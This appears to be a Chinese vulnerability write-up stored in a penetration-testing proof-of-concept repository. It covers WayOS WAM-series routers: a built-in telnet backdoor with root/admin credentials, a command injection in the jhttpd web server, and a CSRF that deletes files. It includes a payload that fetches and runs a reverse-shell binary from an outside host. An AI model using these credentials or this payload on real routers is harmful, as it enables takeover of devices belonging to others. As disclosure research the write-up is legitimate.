Files
Penetration_Testing_POC/iot/维盟wayos多款路由网关设备存在多个漏洞.md
T
CopilotandMr-xn 2b0f5a5e19 Move newly added IoT docs into /iot and update README links (#96)
* Move IoT docs into root iot directory

Co-authored-by: Mr-xn <[email protected]>

* Append missing IoT README entries

Co-authored-by: Mr-xn <[email protected]>

---------

Co-authored-by: copilot-swe-agent[bot] <[email protected]>
Co-authored-by: Mr-xn <[email protected]>
2026-10-15 09:25:15 -04:00

3.7 KiB

维盟wayos多款路由网关设备存在多个漏洞

splash 来源:https://www.iotsec-zone.com/article/144

wayos维盟路由器漏洞挖掘

漏洞信息

影响WAM_9900等多款WAM系列路由器、网关(带有USB共享功能),包括但不限于WAM系列,SDV系列,21.10.09及之前固件

WAM_9900固件下载

http://www.wayos.com/products/WAM9900siWANquanqianzhaodedaiw.html

漏洞分析

预置后门漏洞

使用binwalk解包,查看路由器启动文件,会自启动telnet,如果能拿到口令,就直接getshell了0.png 使用FirmAE工具仿真固件,运行成功后使用nmap扫描端口,发现开放了telnet端口 1.png 访问连接一下,查找指纹关键字

2.png

grep -r "telnet"     grep -r "WayOS"

3.png

4.png 取并集为mqtt_ai 拖入IDA分析,搜索字符串telnet 5.png 疑似telnet口令root/admin,尝试登录,成功,但在web文件中没有找到关于telnet的设置页面 6.png 这个漏洞不是影响系列所有的网关设备,部分网关设备telnet服务不会随系统启动开启

命令注入漏洞

在文件系统下搜索web服务器,在文件jhttd,其他系列固件中也有命名为jhttd_s,从用户输入获取usb_username和use_husername没有进行完全过滤,拼接的命令直接作为system()参数执行,引发命令注入 7.png 登录管理页面,打开usb存储共享服务,提交burp抓包,修改hname为 wget http://192.168.1.2:8000 -O /tmp/re;chmod 777 /tmp/re;/tmp/re 192.168.1.2 5555 将payload进行url编码,本地开启一个http服务,放置编译好的反弹shell文件,监听5555端口 8.png 成功getshell 9.png 这个漏洞影响所有带有USB共享功能的路由网关设备,最新固件和历史固件都受影响

CSRF

继续分析jhttpd,搜索字符串usb,有一些关于USB共享功能的url,其中usb_upload.htm是等无需经过身份验证的, 10.png usb_upload.htm有删除文件功能,不经身份验证会失败,提示权限不足,抓包删除功能的请求,生成csrf poc 11.png 使用认证后的用户打开,会成功删除文件12.png 这个漏洞影响所有带有USB共享功能的路由网关设备,最新固件和历史固件都受影响

总结

总的来说挖到这几个漏洞都不是很难,需要扩展一下自己的思路和实际动手能力,以上三个漏洞均已提交CNVD,但是中高危也不给证书,emmm,其实影响的还是挺多的,几乎涵盖了所有路由网关设备,而且价格还贵。。。行吧,确实也不是高质量漏洞,毕竟很好挖。争取后边挖到一些高质量的洞,大家一起加油。